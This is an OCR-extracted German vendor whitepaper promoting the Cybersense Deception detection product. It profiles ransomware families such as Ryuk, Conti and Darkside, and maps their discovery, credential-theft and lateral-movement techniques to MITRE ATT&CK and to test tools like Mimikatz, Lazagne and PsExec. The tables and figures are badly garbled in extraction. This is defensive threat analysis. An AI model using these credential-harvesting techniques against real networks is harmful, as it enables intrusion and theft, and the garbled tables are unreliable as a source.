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1 Einleitung / Executive Summary

Die Anzahl und Qualitat von Angriffen auf Unternehmens- und Behordennetzwerke haben in den
letzten Jahren deutlich zugenommen. Dabei gelingt es Cyberkriminellen immer wieder, bestehende,
intelligente Sicherheitssysteme zu Giberwinden. Schaden entsteht, weil erfolgreiche Angriffe nicht
oder zu spat bemerkt werden.

Tendenziell wachst der Schaden mit dem Zeitraum, den sich ein Angreifer unbemerkt im Netzwerk
aufhalt. Cybersense Deception ist ein leistungsfahiges System zur Angriffserkennung, das
ermoglicht, Angriffe frihzeitig zu bemerken, zu beeinflussen und zu stoppen.

Neben einer modernen Sicherheitsinfrastruktur ist eine Losung zur zeitnahen Einbruchserkennung
unabdingbar. Das hat auch der Gesetzgeber erkannt. Das jungst verabschiedete IT-Sicherheitsgesetz
2.0 verpflichtet Betreiber Kritischer Infrastrukturen und Unternehmen des besonderen offentlichen
Interesses ein solches System zu Angriffserkennung einzusetzen und nachzuweisen.

Ansatz und Konzeption von Cybersense Deception ermdglichen den kurzfristigen und
unkomplizierten Aufbau und Betrieb eines gegen moderne Angriffe besonders relevanten
Sicherheitssystems. Das System verhalt sich komplementar zu bestehenden Systemen und erfordert
keine tiefen Eingriffe in die vorhandene IT-Infrastruktur. Es ist datensparsam und darauf ausgelegt,
das gefahrliche Phanomen der Alarmmudigkeit zu vermeiden, welches durch eine Vielzahl taglich
nachzuverfolgender und zu qualifizierender Meldungen entsteht. Cybersense Deception reduziert die
Alarme auf ein Minimum relevanter Alarmmeldungen. Der Betriebsaufwand wird drastisch reduziert.
Sollte es dennoch zu einer Alarmmeldung kommen, wird diese im Rahmen eines Managed Service
von Mitarbeitern der Cybersense GmbH qualifiziert und gemeinsam mit Mitarbeitern des Kunden
nachverfolgt.

Dieses Whitepaper geht zunachst detailliert auf die Techniken und Tools der Angreifer ein, die
bei Angriffen mit den aktuell wichtigsten Ransomware-Varianten beobachtet werden konnten.
Ausgangspunkt daflr ist die vom BSI aufgestellte Liste besonders relevanter Ransomware-Varianten.

AnschlieBend wurden diese Techniken und Tools in einer sicheren Weise in tatsachlichen
Kundenumgebungen zur Ausfiihrung gebracht und dabei geprift, inwieweit sie von Cybersense
Deception beeinflusst wurden und es letztlich zu einer erfolgreichen Alarmierung gekommen ist.

Die Zusammenfassung in diesem Whitepaper zeigt, in welch hohem Mal3 die Angreifer durch den
Ansatz von Cybersense Deception verwundbar sind.

Mit Cybersense Deception konnen aktuelle Ransomware-Angriffe friihzeitig erkannt und Schaden
abgewendet werden.
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2 BSI - Die Lage der IT-Sicherheit in Deutschland 2020 [1]

Der Bericht des BSI macht deutlich, dass die aktuell gro3te Bedrohung flir Unternehmen und
offentliche Einrichtungen moderne cyberkriminelle Gruppen und ihre sich stetig fortentwickelnden
Ransomware-Kampagnen darstellen. Da die eingesetzten Methoden und Ressourcen staatlichen
APTs und grol3 angelegten Penetrationstest immer ahnlicher werden, muss auch die Abwehr auf ein
ahnliches Niveau steigen.

In der Vergangenheit wurde Ransomware oft opportunistisch oder nicht zielgerichtet eingesetzt,
wobei eine Handvoll Systeme oder kleine Netzwerksegmente infiziert wurden. Seit einiger Zeit
fihren Ransomware-Akteure zunehmend grol3 angelegte Angriffe auf Unternehmensnetzwerke
durch. Durch die vollstandige Penetration der Unternehmens-IT konnen Cyberkriminelle
Ransomware in der gesamten Organisation des Opfers verbreiten, oft mit verheerenden Folgen.

,Die geschickte Kombination eines digitalen Werkzeugkastens mit Social Engineering lasst
Infektionen auch bei professionellen Anwendern zu. Alle sind digital verwundbar. Ist ein System

erst einmal infiziert, analysieren es die Tater und erpressen ihre Opfer mit der Verschlisselung der
Daten oder mit der Androhung ihrer Veroffentlichung. Je nach Ausmal3 der Infektion kann es fir
Wirtschaftsunternehmen zu kurzfristigen Arbeits- und Produktionseinschrankungen bis hin zu einem
kompletten Ausfall fir mehrere Wochen oder Monate kommen."” [1]

Im Berichtszeitraum 2020 dominierte Emotet das Geschehen. Anhand dieser Vorgange wird deutlich,
dass moderne Ransomware-Angriffe mehrstufig aufgebaut sind und in jeder Stufe andere Techniken
und Malware zum Einsatz kommen.

,Dies illustriert die dreistufige Angriffsstrategie mit Emotet, der Schadsoftware Trickbot und der
Ransomware Ryuk:

1. Emotet-Infektion durch Social Engineering im Schneeballprinzip:
Emotet wird per E-Mail verbreitet. Als E-Mail-Anhang wird es zum Beispiel als
Bewerbungsschreiben oder in manipulierten Bilddateien getarnt. Als Link in E-Mails wird es
auf Webseiten verborgen und nach dem Klick auf den Link installiert. Um Nutzerinnen und
Nutzer zum Klick zu verleiten, kommen fortschrittliche Social-Engineering-Techniken zum
Einsatz. Nach einer erfolgreichen Infektion spaht Emotet die E-Mail-Kommunikation des
Opfers aus (sogenanntes Outlook-Harvesting) und nutzt diese, um Kommunikationspartner
wie beispielsweise Geschaftspartner des Opfers anzugreifen. Die Kommunikationspartner
erhalten dann ihrerseits E-Mails mit schadlichen Anhangen, die beim Klick Emotet installieren.
Mit Hilfe der zuvor erbeuteten E-Mail-Kommunikationsverlaufe generiert Emotet automatisiert
tauschend echt wirkende Antworten auf vermeintlich vom Opfer stammende E-Mails und
verbreitet diese massenhaft weiter. Aufgrund der bekannten Betreffzeilen und zitierten E-Mail-
Inhalte werden Empfanger haufig erfolgreich zum Klicken verleitet. Diese Angriffsmethode
kann praktisch ohne weiteres Zutun der Angreifer automatisiert durch die Schadsoftware
ausgefuhrt werden.
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2. Spionage und Persistenz durch Trickbot:

Nach erfolgreicher Infektion eines Systems ladt Emotet weitere Schadsoftware nach; im
Berichtszeitraum handelte es sich haufig um Trickbot. Trickbot besitzt Spionage- und
Sabotagekomponenten und kann automatisiert das Netzwerk des Betroffenen vollstandig
kompromittieren - bis hin zu zentralen Systemen wie dem Domain-ControlServer im Active
Directory, der fur die zentrale Authentifizierung von Nutzerinnen und Nutzern sowie die
Zuweisung von Rechten und Rollen zustandig ist. Der Angreifer verfugt dadurch Uber alle
Rechte, um beispielsweise Benutzerkonten mit Administratorrechten anzulegen, Daten
einzusehen und abflielen zu lassen oder Hinterturen (sogenannte Backdoors) fur einen
langerfristigen Verbleib im infizierten System einzurichten. Zudem sammelt Trickbot
eigenstandig Informationen Uber Systeme, Benutzer und installierte Software des Opfers und
ubermittelt diese an die Angreifer.

3. Monetarisierung durch die Ryuk-Ransomware
Es ist davon auszugehen, dass die Angreifer auf Basis der von Trickbot beschafften
Informationen entscheiden, ob sie anschlie3end uber den Fernzugriff von Trickbot auch noch
manuell auf das Netzwerk des Opfers zugreifen. Erscheint ihnen das Ziel zahlungsfahig, wird
die Ransomware Ryuk gleichzeitig auf allen erreichbaren Servern und Systemen des Opfers
verteilt. Aufgrund der von Trickbot beschafften weitreichenden Rechte werden oft auch
Backups verschlusselt. AnschlieBend erfolgt haufig eine Losegeldforderung.

Die Schadwirkung dieser Vorgehensweise ist immens. Betroffene Unternehmen, Behorden,
wissenschaftliche Einrichtungen und andere Institutionen missen unter Umstanden hohe Kosten
flr die Wiederherstellung von Systemen, fiir Produktionsausfalle und ausbleibende Umsatze in Kauf
nehmen. Im Berichtszeitraum wurden zudem Losegeldforderungen bis in den achtstelligen Bereich
beobachtet.” [1]

Die Aufgabe einer Angriffserkennung wie Cybersense Deception ist die friihzeitige Erkennung des
Angriffs in Schritt 2 (Trickbot), nachdem Schritt 1 (Emotet) nicht verhindert werden konnte. Noch
vor Erreichen der Stufe 3 (Verschlisselung, Erpressung) kann der Angriff gestoppt und Schaden
abgewendet werden.

In den zahlreichen Fallen erfolgreicher Emotet-Angriffe hat es u. a. an einem System zur
Angriffserkennung gefehlt und der Angriff konnte vollumfanglich, inklusive Stufe 3, durchgefiihrt
werden. In der Folge hat sich das BSI dafir eingesetzt, Betreiber von Kritischen Infrastrukturen
und weiterer Unternehmen des besonderen offentlichen Interesses durch das Uberarbeitete IT-
Sicherheitsgesetz 2.0 dazu zu verpflichten, ein System zu Angriffserkennung einzusetzen.
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2 BSI - Ransomware Bedrohungslage, Pravention & Reaktion 2021 [2]

Die Bedrohungslage hat sich im Jahr 2021 weiterentwickelt. Die jungere Vergangenheit hat deutlich
gemacht, wie verschieden und vielseitig die Wege sind, auf denen sich Angreifer Zugang zu
Unternehmensnetzwerken verschaffen konnen: neben den klassischen Einfallstoren wie Phishing
und E-Mail-Anhange, haben Sicherheitsllcken in den Produkten groBer Hersteller (Microsoft
Exchange, Citrix Netscaler, Pulse Secure VPN), kompromittierte Updates (Solarwinds) und
ungesicherte RDP- und VPN-Zugange im ersten Halbjahr 2021 eine grol3e Rolle gespielt.

Ransomware-Angriffe werden zunehmend arbeitsteiliger. Einzelne Stufen eines Angriffes werden
von unterschiedlichen Akteuren ibernommen. Dabei teilen sich die Akteure Tools und Plattformen.
Grol3e Gruppen stellen Angriffstools im Rahmen von Affiliate- oder Ransomware-As-A-Service-
Modellen auch Dritten zu Verfligung. Diese Entwicklung in Verbindung mit hohen Profitaussichten
fihren zu immer mehr Akteuren in diesem Bereich und damit einer immer breiteren Streuung der
Angriffe.

Das BSI hat in seinem aktuellen Bericht die folgenden Ransomware-Varianten als besonders relevant
hervorgehoben [2]:

Ryuk

REvil / Sodinokibi
DoppelPaymer
Egregor

Clop

Conti

Darkside

Defray777

I[Encrypt / BitPaymer

Fur die folgenden Tests wird diese Liste um die noch neue aber schon einschlagige Malware
erganzt:

Nefilim

Daflr fallt ,IEncrypt / BitPaymer" aus Analyse heraus, da sie weitgehend unter ,Doppelpaymer”
subsumiert werden kann. [3]
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4 Ransomware Cyber Kill Chain

Das initiale Eindringen des
Angreifers:

* E-Mail-Anhang

« Softwareliicke (Exchange,

Inititale Citrix, Pulse Secure)
Kompromittierung o WA, (el
« Software Updates
(Solarwinds)
« Insider

* Angreifer sichert sich
dauerhaften Zugang zum
kompromittierten System
(auch nach Neustart etc.)

* Weitere Malware wird
nachgeladen

« Virenschutz u.A. wird
deaktiviert.

Persistenz
sichern

Ausforschung:

« lokales System
 verbundene Netzlaufwerke
« Domain Trusts

« Active Directory

* DNS

 |[P-Scans

° Ausforschung

* Admin-Rechte auf dem
lokalen System

Rechte * Ausforschen von remote
héh Zugangsdaten
ernonen (Passwérter, Tokens,

Hashes, Zertifikate)
* Ziel: Domain Admin, Root

« laterale Ausbreitung in
weitere Netzsegmente und
Domain Trusts

* Kompromittierung der
Zielsysteme

a Ausbreitung

« Diebstahl von
Unternehmensdaten zu
Erpressungszwecken

« Oft Einsatz von
kommerzieller Software
zur Cloud-Synchronisation

° Datendiebstahl

« Deinstallation oder
Deaktivierung von

Verschliisselung Antiviren-Software uA
« Installation der
& Erpressung eigentlichen Ransomware
« zeitgleiche
Verschliisselung der
Zielsysteme

Abbildung 1 - Quelle Cybersense GmbH
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Die vorangestellte Grafik stellt den typischen Ablauf einer erfolgreichen Ransomware Cyberattacke
dar. Der Angriff ist dabei nach der Methode einer sogenannten ,Cyber Kill Chain" in Stufen unterteilt.

Die Stufen 1 und 2 stellen das erfolgreiche, dauerhafte Eindringen des Angreifers unter Uberwindung
der peripheren SicherheitsmalB3nahmen dar.

Aus Sicht einer Angriffs- bzw. Einbruchserkennung beginnt die Arbeit bei den Stufen 3, 4 und 5, die
auch mehrfach und in wechselnder Reihenfolge durchlaufen werden konnen. Wird der Angriff in
diesen Phasen erkannt, kann er gestoppt werden, bevor der eigentliche Schaden entsteht.

In den beobachteten Fallen erfolgreicher Ransomware-Angriffe ohne Vorhandensein einer Angriffs-
/Einbruchserkennung dauerte es in der Regel Wochen oder sogar Monate zwischen dem ersten
Eindringen des Angreifers und den fatalen Folgen der Stufen 6 ,Datendiebstahl” und 7
Verschlusselung und Erpressung”.

Die groB3e zeitliche Diskrepanz ist u.a. dem Umstand geschuldet, dass die Angreifer ausgekliigelte
MaBnahmen einsetzen, um der Entdeckung durch vorhandene Antiviren- oder Endpoint-Protection-
Losungen zu entgehen und diese im weiteren Verlauf vollstandig deaktivieren oder sabotieren.

Im Gegensatz zu diesen herkdmmlichen SicherheitsmalBnahmen, kann Cybersense Deception
prinzipbedingt auf diese Weise nicht beeintrachtigt werden.
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5 Zuordnung

Bei modernen Ransomware-Angriffen kommen in den verschiedenen Stufen des Angriffs
unterschiedliche Werkzeuge oder Malware-Toolkits zum Einsatz.

Zu beobachten ist auch eine Entwicklung hin zu einer arbeitsteiligen Vorgehensweise und
sogenannten Affiliate-Modellen. Hierbei stellt die namensgebende Ransomware-Gruppe oft nur
noch die fUr die Verschlisselung und den Datendiebstahl zustandige Ransomware bereit und wickelt
spater die eigentliche Erpressung inklusive Verhandlung und Bezahlung uber von ihnen kontrollierte
Plattformen ab. Zwischengeschaltet sind sogenannte Affiliates. Sie verschaffen den Zugang zum
Netzwerk und gewinnen weitreichende Kontrolle uber die gesamte IT-Umgebung.

Bei so operierenden Ransomware-Familien gibt es in den vorgelagerten Stufen Variationen bei den
eingesetzten Werkzeugen oder Malware-Toolkits, abhangig vom jeweiligem Affiliate.

Die folgende Tabelle listet die am haufigsten beobachten Kombinationen auf und deckt in ihrer
Gesamtheit ein sehr weites Spektrum gangiger Angriffswerkzeuge und Toolkits ab.

Grundlage fur die Zuordnung bilden die bei den Einzelanalysen angegeben Quellen und die
Zusammenstellung der Firma CronUp SpA [4].

Zuordnung:
O oneng O T O o (@) e (U EE () Q) .
Barzar / Zloader Trickbot Ryuk
je nach Affiliate / APT ahnlich REvil / Sodinokibi
Quakbot/Dridex Cobalt Strike Doppelpaymer
Ursnif / Zloader / Quakbot Cobalt Strike Egregor
TA505 (Get2,SDBbot,FlawedGrace,Azorult,TinyMet) Clop
BazarLoader Trickbot Conti
Quakbot Cobalt Strike Darkside
Vatet / IcedID Pyxie Defray777 (aka RansomEXX)
Nefilim
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6 MITRE ATT&CK Framework

Das MITRE ATT&CK Framework wurde 2013 von MITRE geschaffen, um Angriffstaktiken

und -verfahren auf der Grundlage von realen Beobachtungen zu dokumentieren. Der Index wird
kontinuierlich an die aktuelle Lage angepasst und ist zu einer anerkannten Wissensbasis geworden,
um Angriffsvektoren, Methoden und Abwehrmaglichkeiten zu verstehen.

MITRE ist eine Non-Profit-Organisation, die 1958 aus dem amerikanischen MIT hervorging.

Innerhalb der Plattform sind die verschiedenen Taktiken, Techniken und Vorgehensweisen von
Angreifern (TTPs) kategorisiert und systematisiert. Das in der Ubersicht konzentrierte Wissen soll
dabei unterstitzen, Licken in der Cyber-Abwehr von Unternehmen zu schliel3en.

Die folgenden Ransomware Analysen machen intensiven Gebrauch dieses Frameworks und
ordnen die identifizierten Angriffstechniken den Entsprechungen im MITRE ATT&CK Framework zu.
Umgekehrt lassen sich so, Sicherheitstools und Kommandos identifizieren, die entweder die Code-
Grundlage fur das entsprechende Malware-Modul bildeten oder diesem in der Funktionsweise
entsprechen.

Analog zu MITRE ATT&CK gibt es MITRE Shield: dieses Framework ordnet Angriffstechniken
entsprechenden Abwehrstrategien zu, die proaktiv etabliert werden konnen. Deception Technologie
nimmt dort einen prominenten Platz ein, so z.B. bei den unumganglichen Angriffsphasen
,Discovery”, Credential Access” und ,Lateral Movement”,

Cybersense vs Ransomware Seite 12 von 40
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7 Ransomware-Analysen

Auf Basis der BSI-Liste aktuell besonders relevanter Ransomware-Varianten, die dem BSI-Report
,Ransomware - Bedrohungslage, Pravention & Reaktion 2021" entnommen ist, wird im Folgenden
detailliert auf diese Varianten eingegangen.

Zunachst werden beispielhafte Vorfalle aus jungster Zeit angegeben (sofern offentlich bekannt).

Der Fokus der Analysen liegt auf den Stufen 3, 4 und 5, in denen eine erfolgreiche Angriffserkennung
stattfinden kann und muss. Fur diese Stufen wird zunachst das vorherrschende Malware-Toolkit oder
Werkzeug genannt und dann detailliert die im Kontext einer Angriffserkennung relevanten Techniken
und Fahigkeiten aufgeschlusselt und mit dem MITRE ATT&CK Framework in Beziehung gesetzt.

Die Liste umfasst zu jeder Ransomware-Familie Techniken und Tools, die in realen Angriffen
beobachtet oder Fahigkeiten, die in Code-Analysen festgestellt werden konnten. Realistischer Weise
muss man davon ausgehen, dass jeder dieser Techniken auch bei einem Angriff im Zusammenhang
mit einer der anderen Ransomware-Variante auftauchen konnte. In ihrer Gesamtheit wiederum deckt
die Liste ein relativ vollstandiges Bild ublicher Angriffsvektoren der Stufen 3, 4 und 5 ab.

Ebenfalls Uber das MITRE ATT&CK Framework erfolgt anschlieBend ein Mapping auf ein aquivalentes
Tool oder Kommando, mit dem die gleiche Technik sicher ausgeflhrt werden kann, sofern von

den Angreifern nicht ohnehin schon frei verfigbare Tools eingesetzt werden, die fur Tests direkt
ubernommen werden konnen.

In der letzten Spalte ist das Ergebnis der durchgefiihrten Tests angegeben: ob diese Technik von
Cybersense Deception beeinflusst wird und eine Alarmierung ausgelost wurde.

Zu allen eingesetzten Techniken sind die Quellen ausgewiesen und im Literaturverzeichnis aufgefihrt.
Bevorzugt wurden Analysen staatlicher Behorden oder CERTs.
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7.1 Ryuk

7.1.1 Betroffene

CYBERSENSE

«  Spanische Arbeitsagentur SEPE, Marz 2021 [5]
» Franzosischer IT-Dienstleister Sopra Steria, Oktober 2020 [6]
« Universal Health Systems, September 2020 [7]
« Sicherheitsdienst Prosegur, November 2019 [8]

7.1.2 Zuordnung

ADVANCED DECEPTION TECHNOLOGY
AS A MANAGED SERVICE

0 Inititale 9 Persistenz e Ausforschung
Kompromittierung sichern

e Rechte erhéhen e Ausbreitung

6 Datendiebstahl o Verschlisselung
& Erpressung

BazarLoader / Zloader
(friher auch Emotet)

Trickbot

Ryuk

7.1.3 Analyse

Fahigkeit

Trickbot [9] [10]

MITRE ATT&CK
Technique

aquivalentes

Tool Cybersense

Trickbot can enumerate computers and
network devices [10]

T1018 - Remote System
Discovery

o | )

Trickbot uses the network scanner module to
map the victims' networks [11]

T1046 - Network
Service Scanning

Advanced IP
Scanner

TrickBot has the ability to capture Remote
Desktop Protocol credentials by capturing the
CredEnumerateA API. [10]

T11056.004 - Input
Capture: Credential API
Hooking

Lazagne ))

TrickBot can obtain passwords stored in files
from several applications such as Outlook,
Filezilla, OpenSSH, OpenVPN and WinSCP.

Additionally, it searches for the vnc.Ink affix to

steal VNC credentials. [10]

T1552.001 - Unsecured
Credentials:
Credentials in Files

Lazagne ))

TrickBot has retrieved PUTTY credentials by
querying the
Software\SimonTatham\Putty\Sessions
registry key. [10]

T1552.002 - Unsecured
Credentials:
Credentials in Registry

® 6 000v:E

Lazagne ))

Cybersense vs Ransomware
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CYBERSENSE

ADVANCED DECEPTION TECHNOLOGY
AS A MANAGED SERVICE

TrickBot can steal passwords from the

T1555 - Credentials

(12]

Some TrickBot modules spread the malware
laterally across a network by abusing the

T1570 - Lateral Tool

PsExec, cmd

KeePass open-source password manager. [10] @ from Password Stores fasggne ))
TrickBot can obtain passwords stored in T1555.003 - Credentials
files from web browsers such as Chrome, from Password Stores: Lazaane
Firefox, Internet Explorer, and Microsoft Edge, Credentials from Web ~azadne
sometimes using esentutl. [10] Browsers
tabDII64 - Credential theft module (mimikatz) @ T1003, T1555, T1552 Mimikatz ))

»

SMB Protocol. [10] Transfer
7.1.4 Beispiel
! é —

An email using a tax
incentive-related header
with an excel attachment

is sent to the user

Clicking on the

attachment activates a

malicious macro

The macro downloads
and deploys Trickbot

1@

The pwgrab module

grabs credentials from

various applications

Abbildung 2 - Quelle: Trend Micro [13]

Cybersense vs Ransomware
Version 2.0
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AS A MANAGED SERVICE

7.2 REvil / Sodinokibi
7.2.1 Betroffene

« Quanta Computer, April 2021 [14]
« Acer, Marz 2021 [15]
«  Automobilzulieferer Gedia, Januar 2020 [16]

7.2.2 Zuordnung

0 Im.m‘?’? 9 Pe( sistenz e Ausforschung e Rechte erhGhen e Ausbreitung e Datendiebstahl o Verschlisselung
Kompromittierung sichern & Erpressung

je nach Affiliate / APT ahnlich REvil / Sodinokibi

7.2.3 Analyse

je nach Affialiate / APT ahnlich [17]

i MITRE ATT&CK aquivalentes
Fahigkeit Typ . 9 Cybersense
Technique Tool
Bloodhound, adfind [17] @ T018 - Remote System AdFind ))
Discovery
IP-Scan (SoftPerfect Network Scanner, T1046 - Network Advanced IP ))
Adv. IP Scanner) [17] Service Scanning Scanner
Mimikatz [17] @ T1003, T1555, T1552 Mimikatz ))
Credentials stored in user profiles: Registry 11552.002 - U'nse'cured
[17] Crgdeqhals. . Lazagne, reg
Credentials in Registry
T1552.001 - Unsecured
Credentials stored in user profiles: Files [17] @ Credentials: Lazagne, findstr ))
Credentials in Files
. . L ow T1552.004 - Unsecured
Credentials store}?elnsuﬁs;]r profiles: Private Credentials: Mimikatz / find ))
y Private Keys

Cybersense vs Ransomware Seite 16 von 40
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ADVANCED DECEPTION TECHNOLOGY
AS A MANAGED SERVICE

Ogerpers CYBERSENSE

T1552.001 - Unsecured
Credentials stored in domain shares [17] Credentials: findstr ))
Credentials in Files
Passwords within Group Policy Preferences M._ U‘nsecured .
[17] Cre.dentlals. Group PowerSploit
Policy Preferences
PsExec [17] T1570 - Lateral Tool PsExec, cmd ))
Transfer
T11021.001 -
Remote Services:
RDP[17] @ Remote Desktop RDP ))
Protocol

7.2.4 Beispiel

The REvil Attack Lifecycle

Overview

e

Remote de sktop Agz_e S5 lol

software, VPN a |l|o:a d

abuse netwqr san
domains

Complete the mission

Establish Foothold

Identify Targets

Internal Reconnaissance

Initial Compromise

Escalate Privileges

Data Theft Ransom Event

Phishing, credential reuse,
compromise of external
infrastructure

Identify Exploitable
Vulnerabilities

Cobalt Strike, VPN abu se, Mimikatz, credentialsin Network scanning, Installation of cloud-sync Scheduled task GPO deployment,
web shells domain shares Bloodhound software PsExec

Abbildung 3 - Quelle: Fireeye - Mandiant [17]
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7.3 DoppelPaymer
7.3.1 Betroffene

Foxxconn, Dezember 2020 [18]

Funke Mediengruppe, Dezember 2020 [19]
Uniklinikum Dusseldorf, September [20]

7.3.2 Zuordnung

CYBERSENSE

ADVANCED DECEPTION TECHNOLOGY
AS A MANAGED SERVICE

Persistenz
sichern

Inititale
Kompromittierung

(L (2] (3]

Ausforschung

e Rechte erhéhen

Ausbreitung

e Datendiebstahl

Verschlisselung
& Erpressung

Dridex / Quakbot

Cobalt Strike

Doppelpaymer

7.3.3 Analyse

Cobalt Strike [22]

e MITRE ATT&CK aquivalentes
Fahigkeit Typ : 9 Cybersense
Technique Tool
T1135
Cobalt Strike can query shared drives. [22] - Network Share Net ))
Discovery
Cobalt Strike can perform port scans from an T1046 - Network Advanced IP
infected host. [22] Service Scanning Scanner
Cobalt Strike uses the native Windows
Network Enumeration APIs to interrogate T1018 - Remote System AdFind ))
and discover targets in a Windows Active Discovery I
Directory network. [22]
Cobalt Strike can produce a sessions report 11049 - SySte”.‘
: Network Connections netstat
from compromised hosts. [22] .
Discovery_
Cobalt Strike can recover hashed passwords T7T1003'002 ) O.S . .
[22] Credential Dumping: Mimikatz
SAM
T11021.002 - Remote
Cobalt Strike can use Window admin shares Services: SMB/ omd
(C$ and ADMINS$) for lateral movement. [22] Windows Admin —
Shares
Cobalt Strike can SSH to a remote service. T1021.004 - Remote ssh ))
[22] Services: SSH

Cybersense vs Ransomware
Version 2.0
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ADVANCED DECEPTION TECHNOLOGY
AS A MANAGED SERVICE

7.3.4 Beispiel

Ransomware Attack Life Cycle

Partner
Organisation

Ransomware
Developer

.

QAKBOT, Cobalt PsExec, Remote
Strike Desktop

Identify Targets Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaissance Data Theft

Ransom Event

Identify target Phishing QAKBOT, Cobalt Strike Mimikatz, Procdump Identify domains and networks QAKBOT email module

DOPPELPAYMER
organisations of interest

Abbildung 4 - Quelle: Fireeye - Mandiant [17]
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7.4 Egregor
7.4.1 Betroffene

» Randstand, Dezember 2020 [23]
«  Crytek, Oktober 2020 [24]
»  Ubisoft, Oktober 2020 [24]

7.4.1 Zuordnung

CYBERSENSE

ADVANCED DECEPTION TECHNOLOGY
AS A MANAGED SERVICE

Persistenz
sichern

Inititale
Kompromittierung

Ausforschung

e Rechte erhéhen

Ausbreitung

e Datendiebstahl

Verschliisselung
& Erpressung

Ursnif / Zloader / Quakbot

Cobalt Strike

Egregor

7.3.3 Analyse

Cobalt Strike [22]

e MITRE ATT&CK aquivalentes
Fahigkeit Typ : 9 Cybersense
Technique Tool
T1135
Cobalt Strike can query shared drives. [22] - Network Share Net ))
Discovery
Cobalt Strike can perform port scans from an T1046 - Network Advanced IP
infected host. [22] Service Scanning Scanner
Cobalt Strike uses the native Windows
Network Enumeration APIs to interrogate T1018 - Remote System AdFind ))
and discover targets in a Windows Active Discovery I
Directory network. [22]
Cobalt Strike can produce a sessions report 11049 - SySte”.‘
: Network Connections netstat
from compromised hosts. [22] .
Discovery_
Cobalt Strike can recover hashed passwords T7T1003'002 ) O.S . .
[[22] Credential Dumping: Mimikatz
SAM
T11021.002 - Remote
Cobalt Strike can use Window admin shares Services: SMB/ omd
(C$ and ADMINS$) for lateral movement. [22] Windows Admin —
Shares
Cobalt Strike can SSH to a remote service. T1021.004 - Remote ssh ))
[22] Services: SSH

Cybersense vs Ransomware
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7.4.4 Beispiel

SERVER

VMWARE Center
TOR NETWORK e
ATTACKER o MIMIKATZ

SERVER

]

SERVER

Olc ication

CALYX

Exit node

INTERNET 2 SERVER
file.io Application

server '08

’> wetransfer

’ @Supﬂemo 0 MEGA

sendspace

EGREGOR
ENCRYPTION

5, the
ed chrome,
no

L] morpPHISEC

Abbildung 5 - Quelle: Fireeye - Mandiant [25]
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AS A MANAGED SERVICE

7.5 Clop
7.5.1 Betroffene

« Universitat Masstricht, Dezember 2019 [26]
«  Software AG, Oktober 2020 [27]

7.5.1 Zuordnung

0 Imm‘?’? 9 Pe(slstenz e Ausforschung e Rechte erh6hen e Ausbreitung e Datendiebstahl e Verschlisselung
Kompromittierung sichern & Erpressung

TA505 (Get2,SDBbot,FlawedGrace,Azorult, TinyMet) Clop

7.5.3 Analyse

TA505 (Get2,SDBbot,FlawedGrace,Azorult, TinyMet) [28]

L MITRE ATT&CK aquivalentes
Fahigkeit Typ ; 9 Cybersense
Technique Tool
Scans the network to collect more information 11046 - Network Advanced IP
and discover vulnerable services. [28] Service Scanning Scanner
Recon Microsoft Active Directory. [28] @ 1018 - Bemote System AdFind ))
Discovery
T1087.002 -
Recon Microsoft Active Directory. [28] Account Discovery: AdFind ))
Domain Account
Return all forest trusts for the current forest or T1482 - Domain Trust .
o . AdFind
a specified forest. Discovery
Collection of crederlwtlals on compromised T1003, T1555, T1552 Mimikatz ))
machines [28] -
Collection of credentials on compromised T1555 - Credentials Lazaane ))
machines [28] from Password Stores =azagne
TAB05 also often uses native Window tools .
such as WMIC and RDP to run its malware @ T1047 - Windows . ))
. . . Management wmic
on new machines by using stolen credentials. .
Instrumentation
[28]
TA505 also often uses native W!ndow tools T1021.001 - Remote
such as WMIC and RDP to run its malware .
. \ . Services: Remote RDP
on new machines by using stolen credentials.
28] Desktop Protocol
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7.6 Conti
7.6.1 Betroffene
«  TU-Berlin, Mai [29]

CYBERSENSE

ADVANCED DECEPTION TECHNOLOGY
AS A MANAGED SERVICE

« Irisches Gesundheitssystem HSE, Mai 2021 [30]

7.6.2 Zuordnung

0 Inititale 9 Persistenz e Ausforschung
Kompromittierung sichern

e Rechte erhGhen e Ausbreitung

e Datendiebstahl o

Verschliisselung
& Erpressung

BazarLoader

Trickbot

Conti

7.6.3 Analyse

Trickbot [10] [31]

e MITRE ATT&CK | aquivalentes
Fahigkeit Typ . 9 Cybersense
Technique Tool
TrickBot can enumerate computers and T1018 - Remote AdFind ))
network devices. [10] System Discovery -
Trickbot uses the network scanner module to 11046 - Network Advanced IP ))
map the victims' networks [11] Service Scanning Scanner
TrickBot has the ability to capture Remote T1056.004 - Input
Desktop Protocol credentials by capturing the @ Capture: Credential Lazagne ))
CredEnumerateA API. [10] API Hooking
TrickBot can obtain passwords stored in files
from several applications such as Outlook, T1552.001 - Unsecured
Filezilla, OpenSSH, OpenVPN and WinSCP. Credentials: Lazagne ))
Additionally, it searches for the wvnc.Ink affix to Credentials in Files
steal VNC credentials. [10]
TrickBot has retrieved PuTTY credentials by T1552.002
querying the - Unsecured Lazaane
Software\SimonTatham\Putty\Sessions Credentials: ~azaghe
registry key. [10] Credentials in Registry

Cybersense vs Ransomware
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TrickBot can steal passwords from the T1555 - Credentials Lazaane
KeePass open-source password manager. [10] from Password Stores Ldzagne
TrickBot can obtain passwords stored in M_
, Credentials from
files from web browsers such as Chrome, Password Stores: Lazaane
Firefox, Internet Explorer, and Microsoft Edge, . , razagne
) . Credentials from Web
sometimes using esentutl. [10]
Browers
tabDII64 - Credentlal[’;gt]aft module (mimikatz) @ T1003, T1555, T1552 Mimikatz ))
Some TrickBot modules spread the malware T1570 - Lateral Tool
laterally across a network by abusing the T Transfer PsExec, cmd
SMB Protocol. [10]

Cybersense vs Ransomware Seite 24 von 40
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ADVANCED DECEPTION TECHNOLOGY
AS A MANAGED SERVICE

7.7 Darkside
7.7.1 Betroffene

« Colonial Pipeline, Mai 2021 [32]
« Versicherungskonzern Axa, Mai 2021 [33]

7.7.2 Zuordnung

0 Ini titgl e, 9 Pe( sistenz e Ausforschung e Rechte erh6hen e Ausbreitung e Datendiebstahl o Verschlisselung
Kompromittierung sichern & Erpressung

Quakbot Cobalt Strike Darkside

7.7.3 Analyse

Cobalt Strike [34] [35]

MITRE ATT&CK | aquivalentes

Fahigkeit T . Cybersense
g yp Technique Tool y
T1135
Cobalt Strike can query shared drives. [22] - Network Share Net ))
Discovery
Cobalt Strike can perform port scans from an T1046 - Network Advanced IP ))
infected host. [22] Service Scanning Scanner

Cobalt Strike uses the native Windows
Network Enumeration APIs to interrogate
and discover targets in a Windows Active

Directory network. [22]

T1018 - Remote System

) AdFind ))
Discovery

T1049 - System Network

